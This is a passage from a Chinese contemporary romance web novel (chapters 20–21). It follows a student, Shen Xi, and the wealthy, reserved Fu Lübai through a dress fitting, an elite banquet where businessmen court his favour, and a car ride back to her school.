承了恩就要还些情,盛小姐见人过来,又笑着和沈晞讲,“我得去拿针线给你这腰改改,有点大了,放心,很快。”
说完便又去了里间,那年轻的男人也不知去了哪里,厅内只留下他们两人来思考,到底要不要一些配饰。
傅律白站在她身后,和她一同的视角。
古旧镜子映着两人的身影,他仍未西装革履,只是那件简单的白衬衣,却显得他无比高大有压迫感,可以将她套下,透过她单薄的肩,仍能看到他宽大的胸口,像是在将她环抱,又像是即将吞噬。
垂坠的绸缎料子薄薄一层,只是视觉效果,其实他站的并未很近,甚至都不会触碰到她,可沈晞似乎好像还是可以感受到他的温度,整个背都变得热烘烘的,让她不由的挺直了脊背,紧绷的腰侧甚至都开始战栗。
傅律白透过镜子,看到身前人这条裙子的全貌。细细的像是下一秒就要断的带子划过那同样纤细的锁骨,挂在光洁细白的肩上。
好像胸前是有些空。
“项链?”他问。
这次,他鼻息间的气息真的不经意间薄薄喷洒在她的耳朵上,让沈晞腰战栗的彻底开始发酸,可大抵也是这股节节败退的颓意,触底开始反弹,反而让她暗自深吸了一口气,大大方方的直视着镜子。
可神奇的,明明这样的距离,镜中的人琥珀色的眸却依旧清明,像只是绅士般的耐心又配合的和女伴探讨着穿搭,提供些自己的建议。
沈晞愣了下,忽然觉得有些难堪。她不知刚刚那样的眼神,是否是自己的臆想,让她有些慌忙的垂下了眼睫。
沈晞当然不知,那处休息茶饮区和这面镜子,因着光线和距离的原因造成的视线差,本是宅子原主人和自己太太的情趣,后来又落到盛小姐手中,无意间发现便也没换掉,权当是给来这里的圈中人添些趣儿。
沈晞暗骂了自己一声,再抬眸时,人已经站在了她的身侧,好像验证了人家刚刚不过真的只是认真的以她的视角思考着,需不需要佩戴些饰品。
沈晞:“……”
她深吸了口气,冷静了下来。又发现,身旁的人领口依旧松松解开了两颗,未系领带。
晚宴这种场合,也不系领带么?
虽然他甚至和自己讲,穿什么样子的衣服都可以。
“不戴了
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。”她的视线不着痕迹的从他圆润的喉结上移开。
盛小姐也拿着工具走了过来,听到后笑着说:“不戴也好看的,天鹅颈早就抵过一切华丽装饰。”
然后,她便将工具盒往地下一放,半蹲半跪的在沈晞腰间,要给她处理。
吓了沈晞一跳,忙扶住她的胳膊,急说:“我进去脱下来你再弄。”
“没事,”盛小姐笑着安抚她,“我这样更好弄,放心,不会扎到你。”
沈晞哪里是怕的这个,可盛小姐却已然开始细细操作,让她动也不是不动也不是,便只能这样僵着。
在看一旁的傅律白,神色如常,似乎对于这样的服侍与服务习以为常。
他平时太过平易近人,以至于让她总是忘记,或许这才是含着金汤是出生的傅先生的世界。
而她却如芒在背。
好在,盛小姐手又快又稳,那双纤细修长的手拿着针线,好似一切都可以在她手下化腐朽为神奇,在沈晞看来都快成了残影,细线在阳光下弹出好看的乐谱。
十分钟后处理好,沈晞也终于松了口气。
两人再次沿着原路出去,这次是盛小姐和年轻男人一起送出来的。
走出些距离后,沈晞透过后视镜看着那西式拱门才关上,又恢复成了平凡朴素,路人不会多留意一眼的程度。
这样的店,到底是靠什么维系,真的不会倒闭么?
似是看出她心中所想,傅律白在一旁解释,大概意思就是,只做些熟人生意,专门为他们这样子的人服务,一般人想买,也要看看有没有这张打开那扇西式拱门的通行证。
这次带她来这里,也是照顾下生意。
沈晞听着,有着被欺骗后的不开心,眉心微皱的嘀咕了句:“那盛小姐还说不收你的钱。”
说完,又意识到自己说漏嘴,傅律白淡淡的看着她,空气有一瞬间尴尬。
可傅律白真的很妥帖,没有继续深问这个问题,让人心情放松十分自然的说:“确实不用收钱。”
“不收钱还叫照顾生意?”沈晞实在是不理解这逻辑。
可下一秒便又回过味来,是他表情太如常,让人下意识相信,甚至听到不合逻辑的时候,也会再捋顺一下,而没即刻怀疑。
这让她又觉得,面前的人有些可怕,或许只要他愿意,他便可以轻易的骗过所有人。
这明明,就只是看破了她介意这样的钱财物资的小事情,而顺着这话故意讲的。
既小家子了气,又将关系推到了几分暧昧不清不楚上,她暗恼。
“是真的不收。”察觉到她的情绪,傅律白倒是没想到那样深一层,只以为她是觉得自己在骗她而不悦,他无奈,只能将话说的更直白些。
他解释,这套房子因着某种原因本已封存,但念原主人到底盛名一时也曾为时代做出过不少贡献,不想转到他人之下,连个痕迹都抹去。虽知事事更迭大抵如此,但还是不忍,借入了他人的因果,由他出面买下又给到了老先生后人的手里。
傅律白讲这些话时,老胡同稀薄的暖阳穿过线缆追上快速移动的车子,透过车窗打在他的脸上,时间都好像放慢,有着股童年小巷独有的温柔。
这一刻,沈晞也觉得他有着知事故而不世故的温柔,清醒的柔软。也不像表象中,那样的有距离感不好接近,那是身份带给他的距离,而不是他的本心。
这时,沈晞也只是以为,这套老宅足有抵偿任何费用感恩都来不及又怎么会收取。其实这也是一部分原因,但后来有一次她耍小女孩脾气,那家店的老板让她有点不开心,傅律白带着她离开了。
那家店从名流名士口中的赞不绝口,一座难求,到门可罗雀,不过一夜之间。
那时她才明白,傅律白的光顾在某种程度上来说,就算是照顾生意了。
不过傅律白也不是吃白饭只刷刷脸而已,每次都照常付款。
沈晞知道了这样的经营模式后,松了口气,明白只要未大规模更迭换代这帮人还在,就一时间不会倒闭,甚至无限风光。
又想起临别时盛小姐讲得那些个漂亮话,包括刚刚试衣服时说的。沈晞有些好奇的看着身旁的男人,忍不住问:“你身边的人,都这么……会讲话么?”
她顿了下,在寻找着一个合适的词汇。
话说的都让人很舒服,又滴水不漏,让人心情愉悦的同时,可仔细想又没说什么关键内容来,就连田师傅都是如此,不卑不亢做事很有调性。
可又会有几分真心。
沈晞看着只和自己隔一个身位的人,目光有些发深,明明近在咫尺窗外的阳光却笼在他的身上,朦胧让人看不清。
她也似乎陷入了白茫茫的迷雾之中,心莫名的发沉发胀。
可下一秒,傅律白却轻笑了下,目光浅浅落在她的身上,意有所指的说:“可没人能让盛小姐讲恭维的话。”
虽已落魄大不如前,但岁月变迁下屹立的风骨还仅存几分。
也就是不紧不慢的语调,可听在沈晞耳中,像是一种熟稔的笃定,“你对盛小姐倒是了解。”
唇角带着几分社交弧度,刚要转头看向窗外,便对上了那种琥珀色的眸。
“谈不上了解。”他语调很冷淡,看着她的眸子倒是有些深,“但是了解她所言非虚。”
“……”
非虚是什么?
是她当真有令人羡慕的好身材、光洁漂亮抵过一切浮华外物的天鹅颈,还有……
沈晞愣了两秒才反应过来。
这话,这表情要是让别人讲别人做,会带着些轻浮甚至油腻。而他自然又落落大方,目光是不带任何不礼貌的侵略的,有的只是对异性绅士的欣赏。
沈晞觉得他身上那朦胧看不清的暖阳余光也渡到了自己的身上,让她的脸变得有些发烫。
终究是没有将头再转过去,而是微微错开目光,视线越过他笼在光影下的侧脸,透过车窗看着天边大片大片的火烧云,虽诡谲多变不知道下一秒会怎么样,可这一刻却美的让人沉醉。
20. 第 20 章
晚霞消失的最后一秒,车子稳稳停在酒店门口。
晚宴时间定在七点钟,他们正好到达。
尽管已经在各种小细节上发现傅律白的周到,但此时沈晞还是不由为此小小惊叹,就连他给自己打电话的时间都卡的很巧妙。
不确定她是否需要一套礼服,便打电话来。过去的路程需要近一小时,得到肯定答案后,四点来接,到时五点,外加挑选修整,再从店里出发过来。
整个过程不急不缓的从容,就像他这个人的步调一样。
再得知她刚醒时,甚至在车里为她准备了一些吃的。不确定她刚醒后的胃口,便准备了小份蛋挞和奶茶,又大概顾及到了口味,甚至还放进保温袋里两个流油的肉包子。
不过为了车子里的味道,甚至最终只吃了两个蛋挞,又在路上将奶茶喝完。那个蛋挞味道出奇的好,明明只是来时路上买的,到她嘴里竟然也酥的掉渣,蛋心部分也嫩而不会过分甜。
没想到还能那样酥,吓得她赶紧用手去接,差点毁了他那上好的羊毛车毯。
傅律白在那漫不经心的笑着说没关系,那股漫不经心的从容当真很拿人。那种举手投足的贵气从容别人想学也很难学出来,毕竟是真的没将外物放在过眼里。
他们从城南一路开到城中,又从城中开到城西,不过是挑了件衣服迎了场晚霞,那时的沈晞觉得,有大把的时光可以浪费。
很快有门童过来,两个人下了车,有侍应生将两人迎了进去,车子被开到了一旁的停车场。
大概是顾虑傅律白的性子,酒店选得并不夸张。但外面看着其貌不扬,进去后似乎有些乾坤。几乎他们才一塌进去,甚至还未露头,便有不少人迎了过来,也不知道眼怎么那么尖的。
原以为只是个普通的晚宴,再加上傅律白似乎也未怎么在意,可当沈晞看着周围这圈有几个眼熟的人,又看到几位似乎平时在电视中看到过的人物时,还是心一惊不着痕迹的看向傅律白。
而处在众星捧月中心中的那位,似乎早就习以为常,既不热情也不傲慢,只有礼有节的微微颔首。大概是察觉到她有瞬间的僵愣,以为她是不习惯这样的环境,手虚搭在她的肩上,揽着她向前。
可此时沈晞想的却是,到底什么样的环境什么样的人,才值得他系上领带。
直到很多年后,她才知道了答案。
在场的人都是人精,傅律白的这个举动自然也都被人看到,对着沈晞便也明白了分寸,立刻客套起来。而沈晞却一直做着那个旁观者,有人和她讲话时她便得体大气的答上几句,却也未走心没入耳。
“傅先生,西郊那块地,林局——”
寒暄了半个多小时,终究是有人安耐不住。
傅律白却像是没听到一般的侧过头去,冲着一旁已经觉得无趣,并且暗自吐槽这到底哪里好玩,开始无意识放空的人——他发现,她无聊放空时,那双玻璃珠似的眸子就真跟水洗般过的纯,也不知道这样骗过了多少人,想到这,有些不耐烦的他忽然有点想笑。
声音都变得松缓几分,“自己去玩?”
沈晞巴不得的点了点头,又冲着周围那群醉翁之意不在自己的人笑了笑,毫不停留的离开。即使那些,是多少人想要结交攀关系都够不到的人,可于她又有什么关系。
不过是一群和苍蝇一样嗡嗡作响扰人恼的存在。
或许是他这样的语气给了刚刚那人希望,又继续道:“林局的意思——”
这人声音又停止了,不过这次是自己停的。
因为傅律白已经转过头来,他看到了那浅淡眸子里,是毫无半点笑意与耐心的,没有一丝刚刚和沈小姐说话时那样的语气所应有的样子。
傅律白没想到这个局里,竟然还有这样没分寸的人,刚刚他故意侧过身和沈晞讲话岔开话题,他原本以为这人已然会懂。
没想到……
这人这次是真的已经懂了,却也已经来不及,直接对上了傅律白淡淡睨过来的一眼,周围的空气都有瞬间的凝固。
好在傅律白今日只是带人来玩,并不想败了小姑娘的兴致,只一眼便收了回来。这个警示已经足够明显,他并不担心这人还会不懂,要是这都不懂,也不会出现在今日这个局里。
可这一眼,那人却已经背后出了冷汗。脑子在急速的运转着,强撑着赔笑道:“嗐,今天说这个干嘛,真是,怪我怪我,”
恰好有侍应生推着酒车从旁边走过,那人眼疾手快的拿起两杯,对着傅律白说:“这酒味道不错,度数刚好,您尝尝。”
所有人都在不着痕迹的看着傅律白,观察着风向。
傅律白也没难为那人,接下,那人松了口气,赶紧喝下一杯,算是赔罪,傅律白只是看着,可手中的酒也只是拿着,一口没喝。
这便也已经足够,其他人也都松了口气,算是掀篇儿,傅先生不打算追究,没将人彻底得罪。也没人再敢和傅先生开口聊这方面的话题,都各自讲着有趣的话题又把握着分寸,氛围再次好了起来,好像刚刚那空气一瞬间的凝固好似没有发生过。
但偌大的场子,还未来得及凑到傅先生跟前散落在四面八方的人,也一直都眼观六路耳听八方,察觉着刚刚发生的一切。
可所有人都继续歌舞升平,喜笑颜开的和着旁的人继续聊天、交谈,连表情都未有半点的不同。
沈晞站在一处,也遥遥看着这一切。看着那位在电视中才见到过几次的人走过来,同他客气的不知道在说些什么,而傅律白也只是如常的和他交谈,偶尔淡笑一下。
隔着晦暗朦胧的光影,看着站在聚光灯下,被人拥簇谈笑风生的男人,忽然觉得有些陌生。托彭念真的福,让她能够有幸见到傅先生的这一面——在这样的场合下仍旧游刃有余、亦或是和人打着太极,更甚者在听到不想聊的话题时直接当没听到一样的错开不接茬。
这朦胧的一段光影,似乎隔开的不只是明和暗,而是跨越不过去的阶层,明明只有几步之遥,却永远也走不到。
沈晞没什么表情的看着,看的眼睛有些发涩,她轻眨了眼睛,余光顺势扫到了全场。
其实和她想象中,那种衣香云鬓的宴会是不一样的。这里的人穿着都未过于夸张,虽都穿着礼服却也大多都选择了她这样更加日常得体向,不是璀璨的把一些都放在明面上的名利场,更加的体面和含蓄,早已跨过了名利场那个阶段更加的高阶暗潮涌动。
肩膀忽然有些痒,沈晞下意识垂眸去看,散落下来的头发轻扫在上面,她抬手捋了下。鼻息间忽然闻到雾凇和檀木的淡淡香味。
依旧是那样凛冽、干净、清淡又沉稳得令人心安。
是他刚刚虚揽着她向前走时染上的味道。
沈晞再次抬起眸,看着不远处的男人。又觉得,他和以往没有任何的不同,在这繁华声色中,任周围人如何浮华、虚假、市侩、算计、利欲熏心,而他依旧稳淡又凛冽如薄雾远山。
不过如今她有幸走近,看到了山间一角。
她忽然明白了傅律白带她来的用意。
他是来带初出象牙塔的自己亲自见一见,物欲横流的社会下那复杂又丑陋的人心。
象牙塔和成年人世界的游戏规则终究是不同。
彭念真只不过是比她快一步的使用了成年人世界的游戏规则,不再是她温和的象牙塔游戏规则的“得罪”与否,是她挡了她的路,便要处处被针对。
她确实不值得为这点小事,而感到不开心。
不得不说,傅律白是真的很会安慰人。在提供情绪价值的前提下,又会让你清晰的明白问题的本质,从根源去解决这个问题。
她也并不是转不过来弯,悲观执著碎碎念活在过去的人。反而来了兴致,想感受一下这样的世界,新的规则,甚至有些跃跃欲试。她向来喜欢新鲜的东西。
晚宴是自助餐形式,于是沈晞来到了酒水甜点旁,为自己倒了杯酒,靠在桌子上,边喝边饶有兴致的观察着大家的反应。
时不时的有人过来和她攀谈,大概是近不了傅律白的身又或者他实在是太密不透风,所以打算在她这里下手,不着痕迹的问着一些关于傅律白的问题。
可大概是受了某人的影响,她的口风也紧的很,也是当着不知道,总被她装成听不出一样的所闻非所答。又旁敲侧击的问着她与傅律白的关系。
沈晞忽然玩心起来,说:“不好讲啊。”
“怎么不好讲?”那人注意力集中起来,带着玩笑般的打趣引导着问。
“要傅先生讲才行。”
她讲这话时,既带着小女孩的矜持又带着几分身份地位不平等下的含糊。
可“不好讲”本身,便已经足够暧昧。一句“不好讲”就已经讲完了一切。
沈晞又给自己换了一杯酒,这杯的味道不如刚刚的那杯好,入口时有点酸涩,她本来想悄悄倒掉,可慢慢的回甘上来,开始变得醇香和甜。
她开始喜欢了起来,就在喝第二口时傅律白将手中那杯没碰过的酒随手放到了移动推车上,走了过来。
她看到他,想到那位打探的人临走时看着她有些别有深意的目光,开始忧心起来,“怎么办啊傅律白,我好像给你惹麻烦了。”
“刚刚有人问我,我和你是什么关系,我说‘不好讲,要你讲才行。’”
可她脸上又哪里有担心的样子,眼底都还是带着笑的,装也不装装样子。
傅律白原本还以为出了什么事,本来那句——“你能惹什么麻烦,大事也变小事,小事也变无事”都要出了口,但见她样子,故意觑着她问:“怎么不好讲?”
沈晞挺苦恼,振振有词的说:“那我就是不敢乱讲啊,不知道你这次带我来的目的,我怕说错话更给你惹麻烦啊,所以才说‘要你讲才行’,这样把事都推到你身上,我什么都没说。”
傅律白半拖着调子:“那你怎么知道自己给我惹麻烦了?”
“但感觉他最后看我的表情,好像是误解了。”沈晞一五一十的说。
傅律白轻挑了下眉,“误解了什么?”
“……”
当时恶作剧心起时她倒没觉得什么,但此时这样逗趣的被他一问,她却说不出口了。
怎么说,说什么?女伴、情人还是其他暧昧的关系。
这要怎么说啊。
沈晞被问的哑口,颇有点搬起石头砸自己的脚,默默地喝了口酒。
她都能这样讲,又怎么会不知道讲这些话时,背后的引申义。分明就是玩心起来,把这里彻底当成了游乐场,没让他白带她来玩一场。
真的是个很聪明的小姑娘。
傅律白看着她的眼中,带着几分欣慰与赞赏。可下一秒,他眉心微蹙,抬起了手,有些不绅士的拿走了她手中的杯子,“你喝多少杯了,这酒虽然度数不高,但也会醉人。”
想象中的甘甜落了空,沈晞嘟了下嘴,和他打着商量的理论,“难得的机会,这么多好酒平时都喝不到,我总要都尝过来,不然多浪费。”
她语气间颇有“过了这村就没这店”的意味。
就这点事,值当得。
“等下都给你搬回去。”傅律白轻笑,将她的酒杯放到了一旁,又拿起了一个新的,同时随意问道,“怎么知道这些都是好酒,平时总喝?”
他想到,光是他知道的,这两个月来她便去了两次酒吧了。
刚刚不让她喝跟偷不到油的小老鼠一样眼巴巴的,要是喜欢,平日里那些千方百计想要讨好他从全世界淘换新鲜玩意的人们,手中总会有全球的好酒,倒不是不能破例留下来拿给她。
沈晞摇了摇头,“是我一个朋友,她拿来的。”
沈晞同他讲,当时姜瑶被家里停了卡,一个子儿都没给她留,伤心欲绝的从家里的酒柜中偷出来了一瓶罗曼康帝,抱着酒就来宿舍找她哭。
从下午一直哭到了晚上,还好那天宁今雨不在,不然都不能睡了。
最后姜瑶喝的已经迷迷糊糊了,还在那念叨她还怎么为她喜欢的爱豆发电,怎么去买漂亮的小裙子和金光闪闪的饰品,她觉得天都塌了。
沈晞看着碗里的红酒——事发突然,她也就只能找出两个一次性纸碗来,还是上次吃烤冷面时老板怕烫给她和宁今雨多叠放了一个。
说:“你还不如把这酒拿出去卖了,还能来点钱。”
姜瑶迷迷糊糊的睁大了眼睛,像是才反应过来,“对哦!”
但酒已经快被她们喝完。
沈晞以为她又要哭,心里盘算着,这还剩下了的一个酒底还能值多少钱,谁知下一秒,姜大小姐又将酒直接给她蓄满,垂头丧气的说:“这又能管什么用啊……算了,喝吧。”
十来万块钱,于她而言,确实不过是杯水车薪不够买她的快乐。
傅律白听完后,道:“这真是个令人难过的遭遇。”
他仍旧是那副温淡的语气,但却不见任何调侃与阴阳怪气,是真的很有同理心并且是个会尊重讲话者认真给与回馈的好听众。
沈晞看了他一眼,又解释着,就是因为这次,刚刚喝到了跟这味道一样的,所以她才认得出。能和这酒并排在一起的,总归是不差。
傅律白也明白了,这不过是体验派茜茜小姐的尝个新鲜,于是给她接了一杯芒果汁,拿给她,说:“今早刚从澳洲空运来的芒果,也很新鲜。”
沈晞果然来了兴趣的接过。
她喝了口,确实很甜汁水又足。顺着话题又问:“你小时候也被家里停过卡么?”
听姜瑶讲,他们被家里停卡其实是常有的事情,几乎每个人都会遭遇
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几次,毕竟年少时惹家里人生气是件很容易的事。
傅律白顿了下,淡笑着说:“没有。”
沈晞有些惊讶,可看着面前笔挺落拓的人,又觉得在情理之中,“你小时候也这样乖么?”
“乖?”大约是第一次听到这样的评价,傅律白怔了下,带着几分诧异又有趣的轻笑。
沈晞也觉得对着他这样的男人用这个词不合适,又换了种说法,“嗯……沉稳。”
沈晞又开始无法想象,那是个怎样少年老成的画面。
他的少年期会是怎么样?依旧早早的优于同龄的男孩,出挑的让家里人都挑不出一点错误,十足十的在公子哥儿界也是别人家的孩子。
可是那样的儿时生活会不会很无趣?
沈晞看着他的目光变得有些深,好像透过他在看那个小少年,她竟然觉得为他有点难过。
傅律白却又好像听到了有趣的话,“我沉稳?”
他们家庭结构模式很复杂,从他很小起,经济便已不受家里管,又何来“停卡”一说。
他这话带着些笑意的反问,让沈晞一时听不出,这是认可这种说法还是在反驳。
“你……”她迟疑着,带着些奇怪的看着他也反问道,“不沉稳么?”
“很无趣?”傅律白说着,又随手给她拿了份榛子酱可可蛋糕。
“沉稳又不代表无趣。”沈晞奇怪的,不知道他哪儿来的这种理论,又挖了口蛋糕,微苦,刚好中和了果汁的甜。
“你……”沈晞想着更符合他的关键词,“很可靠。”
她说时,目光慢慢移开,有些飘散,并没有看他。
这确实是个很高的评价,傅律白轻笑,“多谢茜茜小姐赞誉。”
那些年,各路人为了讨好傅律白,可谓是绞尽了脑汁,用尽了心思,偶尔还会遇到些令人哭笑不得的乌龙,沈晞今天便第一次见。
当时两个人正在聊着天,沈晞莫名的情绪有些高涨,坐进车里时,她忽然说:“我告诉你个秘密。”
“什么?”察觉到她的兴奋,知道她大概是酒劲儿上来,但看她这样子应该也不会讲什么正经事,却还是配合着问。
“其实我芒果过敏。”她微微靠近他,倒真像是要讲悄悄话那样,可声音却大的坐在前面的田师傅都听得清清楚楚。
她这漫不经心的一句话,听在傅律白耳中却如石破天惊一样,立刻皱起了眉,难得有些急了,“那你还喝那么多!”
她大概是喝上了隐,就着蛋糕得喝了有三小杯。
那真是纯榨。
他一边估算着那大概有几个芒果,一边观察着她的反应,想着需不需要让田师傅直接改换目的地到医院时。
沈晞却在那边大喘气道:“但是,因为我太爱吃,生生让我给吃脱敏了!”
傅律白的心这才又松了下来,看着面前像是发现了什么不得了的医学奇迹,在那不以为意还骄傲兴奋分享的人,又是好气又是好笑。
刚想开口车窗却在这时被敲响。
两个人同时下意识侧头看过去,是一个年轻的男人,看上去有话要讲。傅律白没什么表情的按下了车窗,露出了男人帅气英俊的面孔。
大概二十出头,娃娃脸是那种男女都讨好的长相。
“傅先生,”车窗降下来,年轻男人微微弯着腰,笑着对里面的人说,“时间还早,需要找人聊聊天解解闷么?我学过一些按摩,酒后乏累,我技术还不错。”
声音也是好听的,介于男孩和男人之间,是清爽的少年音。可说出来的话,却又不是那么回事。
其实说到后面,在看到里面人那双浅淡没有任何表情的眸子时,他便已经有些说不下去了,可接了活儿,还是个不菲的价格,才让他继续硬着头皮往下说。
沈晞原本还以为现在生意不好做到,已经沦落到当场接活了,可再一听发现不是那么回事。这确实是接活,但接的是那种活啊!
她震惊又错愕的看向傅律白。
傅律白也有些诧异,在听完后,只淡淡说:“不需要。”
同时微微后靠,坐正。
感受到身旁人的视线,他淡淡看过去,便对上了沈晞看着自己一脸复杂的表情,同时在自己身上来回逡巡打探着。
“……”
他难得有些不自在,视线却未移开,仍旧淡淡的和她对视着,带着几分无奈。
“——!”
沈晞明白过来,难得见他这样的反应,忽然有些想笑。想坐视不理,看他要怎么办,但最终念在今日喝到的那些好酒的份上,还是没见死不救。
侧着身,探头过来,就那样半贴着他的肩,对着窗外笑着说:“不好意思,不太方便诶。”
她脸上带着小女孩的刁蛮和肆无忌惮,偏偏笑的又是那样纯粹干净美好。
年轻的男人也没想到里面已经坐着人,还是位漂亮的女士,尴尬的同时又为那干净清纯明媚又鲜活的笑晏心头一震,莫名得有些自残形愧低下了头。
到车子离开,都未再敢看那双干净的眼睛。
沈晞已经又坐稳,但人有些懒,便没再动,就着他的劲儿,手搭在他的肩上,人也同时半靠在他这边的肩上,说话的声音都有些慢了,却还是没忘满足自己的好奇心,问着,“要是我不帮你解围,你会怎么做啊。”
傅律白没动,微暗的车厢里看不清他的神色,只听声音如常,如玩笑般带着几分笑音道:“那我大概只能让人将他请走。”
忽然肩上微沉,等了几秒,软糯含混的声音没有再次响起。
傅律白淡淡侧眸,忽明忽暗的光照在她微红无瑕的脸上,眼睛轻闭,纤长浓密的眼睫在脸上落下了一层暗暗的影,随着车子的幅度而轻轻晃动着。
人已然睡着。
甚至因为车子小幅度的摇动,她光洁的额头会时不时轻蹭着他的脖颈,一下一下的。鼻息间那清晨挂着露水的花果染上了葡萄酒的香气,愈发的香醇,他忽然想起了法国海滨旁的酒庄,每一颗葡萄都挂着水珠饱满又娇艳欲滴。
傅律白的喉咙忽然有些发干。
她倒是聪明,知道睡之前便将头固定在自己肩上。实在是对自己太过不设防,傅律白甚至觉得,她都没将自己当成男性,而是一个抱枕,虽然她并未攀过自己的脖子,将他上半身全部阻拦,只克制的借用了他一小边肩膀,不会影响他任何的行动,甚至他都还可以用另一只手继续拿iPad的办公。
其实真的是很小的一个借力点,更甚至他只微微动一下肩,她搭在上面的手便会滑下去,连带着这颗精致圆圆的头,会轻磕在纯皮的椅背上,幅度小的甚至不会将她吵醒。
恰好要掉头,田师傅通过后视镜看到后面这样的情形,迟疑着,在前面轻声的问:“傅先生,还要回学校么?”
21. 第 21 章
霓虹映在她脸上的光影错落的变得缓慢,像是老旧的文艺电影。
傅律白的目光淡淡地落在她脸上,没有动,也没有肩膀再垫过去一点,让她睡得更舒服,亦或是抬手帮她扶住头,只任由她随着车的摆动而无规则的一下、一下轻晃着。
只微微偏过头去,看向窗外,过了两秒,淡声说:“回。”
车子不再犹豫,向着学校的方向在路上疾驰着。
霓虹斑驳在沈晞脸上快速闪过,却唯独眼睛上落下的一片小小的阴影稳稳不动,让人睡得也安稳,没因晃眼而扰了贪酣,那是光照在傅律白侧脸上落下来的影。
窗外的街景从眼前迅速掠过,其实在田师傅问的那一瞬间,他有想过将她送去酒店,让她意识到些人心的险恶。不知道她是对所有男人都这样不设防,还是只喝醉了如此。还是……仅仅只是对他。
如果仅仅只是对他,过了怕吓到她,真防上他了。浅了,她又一定会在哪儿笑着不当回事。
没准还会很不客气的叫他帮忙叫一份早饭,顺便邀请的问他吃不吃。
傅律白无声轻叹了口气,任由那毛茸茸的头发时不时划过自己侧颈的皮肤。
“唉!”
在某高档小区顶层复式里的吴毅,也一同叹了口气。
之前好不容易托关系知道人会去那个度假村,他揣测着傅先生的喜欢,专门投其所好的送了个既懂棋艺茶道,又长相典雅皮相顶级好的旗袍女过去,这真是他万里挑一找来的人,之前被个也挺有头有脸的人看上,据说送一套京市的房子都没同意。
没想到带过去,傅先生连正眼瞧都没瞧。
西郊那块地是个大肥肉,所有人都盯着想知道些动向,上面人嘴严,偏偏傅先生这边又难以疏通,就在他愁的不知道怎么办时,意外得知傅先生今日有宴席。
这真是少有的事,傅先生回来这段时间任人约都约不出来,这是个难得的机会。可这样规格的宴席,他自然是没资格去的,只能在外场试试。
上次女的不行,他多动了些心思,这些年也有传闻,说当年有人为了讨好傅先生,直接将人送进了他所住的酒店房间里,却直接被傅先生叫人赶出去。没亲自赶,似乎是因为人直接躺进了浴室里,傅先生连踏进一步都没有,可最后还是绅士的叫人给了那人披了件衣服,没就那样光溜溜的让人站在路边。
再说,这些年,也没有见过傅先生出席带过什么女伴。
于是他便多想了一层,换换男的呢?
他认识一制片,专门搞选秀节目的。有大把好这口的大佬们,喜欢在这选合自己胃口的。这小男孩就是其中的一员,刚进海选,还很干净。
他和人说了傅先生的大概品性——当然未说傅先生的名字,那边的人过了两天便带了这个小男孩来见他,别说,虽然他不好这口,但确实挺讨人喜欢。
就算将来只凭这张脸,不靠运作,他也能收割挺多票数。但出道可能就难了,毕竟前面的人都已经找到了靠山,有人帮着运作。
这也是他承诺这小男孩的条件。
就这么一张脸,没想到还是不行。
吴毅愁死了,直接从沙发上站了起来,来回转着圈,女的不行男的也不行,别是傅先生……不行吧?
那他把人往人面前送,不是专门碍人眼,惹人烦么?!
就在吴毅觉得坏了的时候,那男孩又在电话那边说:“车里有人了,实在抱歉吴先生。”
“车里也不有人么,车里没人我让你去——”吴毅烦躁的,对着电话那头没好气的说,但话说到一半猛地顿住,不敢置信的问:“什么?有人了?!男的女的?”
“女的。”
这是被人捷足先登了?!
吴毅表情顿时凝重起来,但下一秒,又稳了稳心神。
没关系,有突破口总算是好的,只要有了突破口,能送过去一次,他也能送过去第二次甚至更好。
“什么样的女的,有多漂亮,什么类型的?”吴毅问着,也确实是好奇,到底什么样的人,能入得了傅先生的眼。
年轻的男孩在那头顿了下,是很漂亮,可是漂亮似乎是她身上最不起眼的东西。
这家酒店他知道,外面看着不怎么起眼,低调,甚至带着股岁月下的沉旧。可却是那些达官显贵们为了怕违规,固定来的地方,几乎成了老牌的后花园。
这样的名利场下,就连周围空气中漂浮的尘埃都是充满着纸醉金迷、唯利是图、腐朽和贪婪的永远被填不满的欲望的。
可她从车内探出头来,坐在那金堆欲望里,无暇小巧精致的脸上,却是如清水出芙蓉般清新,尤其是那双笑的肆意的漂亮眼睛里,干净、澄澈、灵动,充满着蓬勃的生命力,明媚的似乎连周围金山银山都填不满的喧嚣着的贪婪欲望都在那一刻被压制,周围浑浊的空气都变得清新灵动起来。
他不想用漂亮来形容她,最后只声音有些微哑的说:“她很鲜活。”
鲜活美好到,会让他们这样的人自惭形秽……又羡慕。
“……”
电话那头的吴毅震了震。
也是在这晚,沈晞的名字开始在圈子里小范围传开,慢慢地,直到最后,就连没能挤进这个阶层的外围人员们,都知道了这个名字。惯常和傅先生一同被提及。
那些年,傅律白有多宠她,几乎人尽皆知。
但沈晞不知道,她还在睡觉。
车子稳稳停在了路边,车厢一片寂静,田师傅目光规矩的连看都没看,目视着前方。
傅律白仍旧微微侧头看着窗外,感受着抵在他肩上的那颗脑袋,暖呼呼的安安稳稳没有动,似乎没有要醒的意思。
他不紧不慢的转过头来,垂眸。
人的呼吸很均匀,眼睫轻闭,就连那沾过葡萄酒的唇都还带着柔软晶莹的光泽。
他淡淡的将头转正,没什么表情的看着前方。
大概又过了五分钟,傅律白淡声开口,“开——”
“到啦。”软糯,带着几分微哑的声音几乎贴着耳边响起,打断了他要说的话。
他本想让田师傅开车,找一家舒服的酒店。
沈晞慢慢地抬起头来,傅律白淡淡睨过去过去,“醒了。”
其实车子一停她就醒了,不得不说好酒就是好酒,刚刚有些晕,睡醒后就没事了,也没觉得头疼不舒服。就是睡得还有点没缓过劲儿来,就没动。
等彻底清醒了,感受着身侧隔着他薄薄的衬衣布料传来的他身上暖烘烘的温度,以及鼻息间被他的气息包裹,她才后知后觉的有些不自在。
又不能匆忙坐起来,那实在是太刻意尴尬。于是又做了两分钟的心理建设,这才自然的坐起来,像是本应该抵在他肩上半靠在他怀里一样。
她还微微伸了下懒腰,小憩后满足般“嗯”了一声,然后自然的看着他笑道:“那我先走啦。”
傅律白却忽然说:“等等。”
沈晞愣了下,或许是距离他实在是太近了,那明明清冷的雾凇味却莫名的让她心中微紧,有些不解的看着他,又好像心底微微沸腾着她自己都不知道的某些期待。
下一秒,腿上却忽然一暖。
沈晞垂眸,是一条米咖色的羊绒小毯子。
傅律白:“披上,晚上凉。”
沈晞抬头,余光却不经意瞥到搭在椅背上的西装外套,眸色微顿。
披着一件衣服总比毯子要方便像样子,明明哪里就有件衣服,他却跟不存在一样。大抵是属于私人物品,虽然今日有幸走近那座远山,微微穿透了薄雾,可却仍旧有距离感远近亲疏分明的没到那个度。
也只顿了那么一瞬,随后像是什么事都没发生一样,带着几分小女孩的埋怨和嫌弃道:“这样,很夸张,很像是什么贵妇欸。”
